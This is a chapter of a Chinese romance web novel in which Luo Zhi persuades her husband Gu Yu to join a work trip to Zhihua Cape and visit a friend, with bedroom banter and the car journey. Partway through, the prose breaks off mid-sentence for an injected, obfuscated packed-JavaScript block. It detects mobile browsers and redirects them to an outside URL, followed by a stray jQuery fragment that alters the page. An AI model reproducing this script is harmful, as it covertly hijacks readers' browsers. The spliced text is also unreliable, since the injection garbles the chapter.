50. 番外五

作品:《骗梦不知

    咖啡厅里,池月牙眼巴巴地望着雒知。


    “知知,你周末有空吗?”


    “对你当然有空呀。”雒知用勺子挖了块奶油送进嘴里,抬眼问,“要去哪儿?”


    “那太好了。”池月牙解释,“周六要去栀花岬,原本是纪强、沈风和我一起去,可沈风临时被派了别的工作,就剩我和纪强了,路上七八个小时车程,纪强比我的话还多,想想就尴尬,你能陪我去吗?两天一夜。”


    “栀花岬?”这是附近的旅游景区,雒知听到这个地名,怔了怔,“好呀,但你们是去工作的,多个我会不会影响不好?”


    “不会不会,栀花岬的事新闻都报过了,最近不少人反映,那个地方奇怪得很,说当地的儿童和老人越来越‘呆’了,我们要去走访情况。”


    “嗯。”雒知放下勺子,点点头,“我陪你。”


    “知知,还好有你啊。”池月牙总算松了口气,话锋一转,“对了,你们领证的事都在单位传开了,什么时候办婚礼啊?我肯定是要当伴娘的。”


    雒知思忖片刻才说:“我不想办婚礼。”


    “为什么啊?”池月牙问。


    “月牙,除了你,我还能邀请谁呢。”雒知垂了垂眼,这件事顾驭没有提过,而她很清楚他是刻意不提。


    “哎呀……知知,我又不动脑子了,对不起啊,我不是那个意思。”池月牙懊恼得很,她一时忘了雒知已经没有家人了。


    “我知道。”雒知笑了笑,岔开话题,“听说栀花岬早晚温差大,要带厚一点的衣服吗?”


    “啊……山里会凉一点,但白天还是热。”池月牙顺着她的话往下说,“天气预报有雨,穿短袖吧,再带一件针织衫……”


    按照池月牙给的穿衣提示,周五晚上,雒知坐在床边叠衣服。


    顾驭吹干头发,从浴室出来,神色困惑:“怎么还叠上衣服了?你不用做这些。”


    “你周末想穿什么?我选了两身,你也可以换别的。”雒知将两套衣服叠放整齐,摆在床上。


    “我们周末要去哪儿吗?”顾驭嫌衣服挡在中间碍事,都搬到柜子上放着,又走来紧贴在雒知身边坐下,“你让我穿什么,我就穿什么。”


    雒知笑着看他:“也是,反正你穿什么都好看。”


    “嗯?雒知,你今天很反常。”顾驭低下头,亲她的脸颊,她没躲,顾驭更疑惑了,又贴上她的唇,“有事要跟我说?”


    雒知回亲了他一口,手捧住他的脸:“我们明天和月牙他们一起去栀花岬吧。”


    “只是这样?”顾驭犹疑了,“你让我一起去,你的好朋友池月牙没意见?”


    雒知:“我问过月牙了,她不介意,她说你话少,纪强话多,你在还能让纪强听你的。”


    “哦,如果她介意,那你就不让我去了?”顾驭又问。


    雒知点点头:“嗯,所以你要对月牙好一点。”


    “……”顾驭无奈地打量她,“你是不是太偏心了。”


    “心本来就是偏的。”雒知抬手勾住顾驭的脖颈,靠向他,“顾驭,你能帮我个忙吗?”


    顾驭眉头压低,垂眸看她:“我们之间还用问?”


    “那你别生气。”雒知轻声说,“我想顺路去看看林尘,他是栀花岬人,年初他家里老人生病,他赶回去照顾,都快半年了。”


    “你怎么不说话?”雒知拽了拽他的手臂,身子一倾,斜坐在他两腿之间,仰头看着他,“你不要板着脸,你每次这样都像在看犯人。”


    “你让我说什么?”顾驭猛地侧身将她压在床上,抚她的脸,“你一边亲我,一边跟我说要去看另一个男的?”


    雒知迎上他灼人的视线,耐心解释:“自从林尘回去后,他状态就不太好,只是去探望他,我没别的意思。”


    “你没别的意思,他有啊,他每回看你的时候,眼珠子都要掉地上了,你还要大老远地跑去探望他?还让我别生气?”顾驭气得要死,又不能发作,“让池月牙他们去看一眼不就行了,你不放心?你就这么担心他?”


    雒知沉静地摸了摸他的额头:“你笑一下,你冷着脸有点吓人。”


    “我笑得出来?”顾驭眉头紧锁,她竟然没有否认自己担心林尘。


    “我不能忘恩负义吧?林尘帮过我很多,就因为这个,我才让你跟我一起去啊。”雒知缓缓说,“如果单独去找他,我也觉得不合适。”


    顾驭摩挲着丝滑的床单,冷声道:“我还要亲自去看他?”


    “那你不去就不去吧。”雒知别过头,鼻尖陷入蓬松的枕头里,“我自己去。”


    “你想都不要想。”顾驭扣住她手腕,关上了灯,不给她说下去的机会。


    黑暗中,两人呼吸交缠,温度陡然升高,雒知咬破了他的唇,才能出声:“你干什么?”


    “你说呢?”顾驭将血舔掉,“这种时候,你还要提他?”


    “等等,我们在吵架,还没吵完,你着什么急。”雒知要去开灯,被他一把拉回身下。


    “吵架和睡觉可以同时进行。”顾驭贪婪地占有她,不想浪费时间和她吵架,也不想妥协。


    雒知不挣扎了,她揉了揉顾驭的嘴唇:“疼不疼?”


    “……你又拿捏我。”顾驭侧躺下来,将她圈进臂弯里,见她面颊泛红,放缓了语气,“明天几点出发?”


    “九点。”雒知抽出手,搭在他的肩上,“你能再答应我一件事吗?”


    “嗯。”顾驭仍专注地吻着她,只耳朵听着。


    雒知微微仰头,她要先把话说完:“不要在月牙和纪强面前说那两个字,可以吗?”


    “哪两个字?”顾驭太清楚是那两个字了,但他就想听雒知说出口。


    雒知偏偏不说:“你故意的。”


    “嗯。”顾驭很乐意说,“老公两个字在你面前是犯了什么罪无可恕的禁令吗?为什么不能说?在外人面前不能说,在你面前也不能说,我不是你老公,我是你的谁?你的朋友?”


    “我让你别说。”雒知又捂住他的嘴,“我还不能适应,你再说我真的不想理你了。”


    顾驭点了点头,她才放下手,顾驭又说:“好,我不说了,那老婆可以说吗?”


    “你闭嘴,你真的很烦。”雒知翻过身,趴在枕头上。


    顾驭想看她发火,又怕她真的生气,单手撑在她脸侧:“这样吧,你叫我一声,让我听一次,我就答应你,不在他们面前说这两个字和那两个字。”


    雒知这才挪了挪头,抬眸迎上他期待的目光,唇张了又合,好几次后,才艰难地开口:“老……”


    “说完。”顾驭眉眼带笑地看她,眼都不眨,“嗯?”


    “老……”雒知深吸一口气。


    “老……顾驭。”


    “?”顾驭眸色一沉,“老顾驭是什么?”


    “不配合你了。”雒知合上眼,在她心里,他就是她的顾驭,比任何称呼都刻骨,“我要睡了,晚安。”


    “你怎么还耍赖呢。”顾驭捏了捏她的手指,无论说什么,她始终装睡,顾驭这才松口,“我答应你。”


    “哦。”雒知慢半拍地回应他,随即一愣,她想起行李还没收,一整晚只叠了几件衣服。


    但顾驭紧搂住她,不让她去:“我们还有事没做完。”


    雒知推了两下没推动,只好作罢:“那明早再收拾吧。”


    “明早我叫你。”顾驭一向比闹钟更准时。


    顾驭叫她起床时,已经做好早饭,装好行李箱,虽然只去两天一夜,带的东西却不少,一次性床品、洗漱用品


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133389|176099||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    、拖鞋、睡衣,以及她的瓶瓶罐罐……


    她没有跟顾驭说过要带什么,顾驭也不懂那些东西是干嘛的,但她检查时,一件不落。


    “出发了。”顾驭将行李放上车,拉开车门,忽然问起,“为什么不让他们另开一辆车?”


    “嗯……”雒知顿了顿,“这样方便交流。”


    顾驭没多思索,发动了车。


    池月牙和纪强提前在汇合点等着,顾驭将车停在街对面,待他们等绿灯亮起后过街。


    “等他们过来。”顾驭刚侧过头,就见她摘下了安全带,“你要下车?”


    雒知关上车门,绕到后座,上车后才说:“我陪月牙坐后面。”


    “那我呢?”顾驭的视线随她移动到后座,他有一种被抛弃的错觉。


    雒知抚了抚他的下巴:“你就在我前面啊。”


    顾驭冷着脸:“我不需要人陪?”


    “我在后面陪你。”雒知按下车窗,对正在过街的纪强指了指前面的位置,又看向顾驭说,“月牙他们来了,你笑一笑。”


    顾驭还没开口,纪强疑惑地拉开车门,坐上副驾,他眼一睁:“谁惹你了?你这脸像早上踩了屎。”


    顾驭别过头,看向窗外。


    “顾局好。”池月牙开心地拉起雒知的手,顺着纪强的目光扫了过去,又随即收回。


    “嗯。”顾驭确认大家都坐稳后,踩下油门,一言不发。


    途中,雒知将路上买的咖啡分给他们,她没有递给顾驭,放在了他手边的杯槽里,除了纪强和月牙偶尔闲聊几句外,车内很安静。


    雒知又从袋子里取出一盒很有卖相的巧克力,她先捧到月牙面前:“我改良了,这次不酸了。”


    池月牙拿了一块,扯出一个难言的笑:“知知,你怎么还在做巧克力,这些年我吃了没三十盒,也有二十盒了。”


    “辛苦你们了。”雒知又捧到纪强面前,“纪强,你试试。”


    “哎呀,我说雒知,你太较真了。”纪强最后悔的就是当初选了巧克力当礼物,他不好意思拒绝,也拿了一块,“下次别做了,我减肥,你给池月牙吃吧。”


    “你……”池月牙长叹一口气,“知知,你别做了,真的。”


    “哦。”雒知点点头。


    看着盒中的巧克力,雒知又捏起一块,递到顾驭嘴边,他竟然抿唇不理。


    雒知轻笑,无名指压着他的下唇往下一按,硬将巧克力塞进他齿间,差点被他咬到手。


    “好吃。”沉默了一路的顾驭,忽然开口,“多做巧克力给他们吃。”


    “呵呵。”这下换纪强和池月牙沉默了。


    雒知又将插好吸管的咖啡杯递过去,吸管顶端轻轻抵住他的唇边。


    纪强在一旁看着,面向顾驭摇摇头:“你是不是太好糊弄了。”


    “我愿意。”顾驭心情好了许多,不再冷脸,就连纪强要和他换着开车,他也不换。


    到了下午,进山后下起了雨,天暗下来,道路两侧不时有碎石掉落,顾驭担心路上不安全,于是决定在附近住一晚,明早再进栀花岬。


    他们就近找了一间镇上的酒店,不少人因为下雨临时变道,导致酒店只剩下两间房。


    顾驭问清楚后,对大家说:“订了两间房,你们先在这儿休息,刚才路上经过的另一家酒店还有房,我去看看环境。”


    雒知听后,将顾驭拉到一旁:“为什么还要找别的酒店?”


    “两间房怎么住?”顾驭问。


    雒知抬眸看他:“你和纪强住一间,我和月牙住一间,不是刚好吗?”


    “你让我跟别人住?”顾驭神色诧异,“还是大床房?”


    “那怎么了?那是纪强啊。”雒知被他问懵了,“你没和纪强睡过吗?”